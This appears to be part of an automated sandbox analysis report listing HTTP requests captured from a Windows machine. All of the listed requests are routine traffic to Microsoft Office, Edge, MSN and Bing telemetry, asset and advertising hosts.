Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012743Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=21c1321445f3482780839e355c7de4b1&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-88000045&oemName=imnjiu%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=imnjiu20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p=Cache-Control: no-cacheMS-CV: n9aiIlyytEu+1rha.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732757266484&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A49E4BF156D65780FA2F1FA140F641B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; _EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIHw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=c12417e579054221b95d79c2c1ba9d67&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732757266484&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A49E4BF156D65780FA2F1FA140F641B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=18F961378f552aeb844a5401732757269; XID=18F961378f552aeb844a5401732757269
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A49E4BF156D65780FA2F1FA140F641B&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9d77d83c87f347e19035db24e28231be HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; _EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=c12417e579054221b95d79c2c1ba9d67&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=29A043C5F5F06E4035685680F4926F46; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732757266483&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=94d1d7e75b7645a9b09cb13377ba9d4c&activityId=94d1d7e75b7645a9b09cb13377ba9d4c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=10CCBE50A8DC44048B0E72D4D14D5C66&MUID=3A49E4BF156D65780FA2F1FA140F641B HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A49E4BF156D65780FA2F1FA140F641B; _EDGE_S=F=1&SID=19C9549D1133664B3A1141D8109D6786; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=c12417e579054221b95d79c2c1ba9d67&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=29A043C5F5F06E4035685680F4926F46; MSPTC=KbPp6CPb8syBVPqptpxFrkw7HQrMcxnip6PoYWHLaz4; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
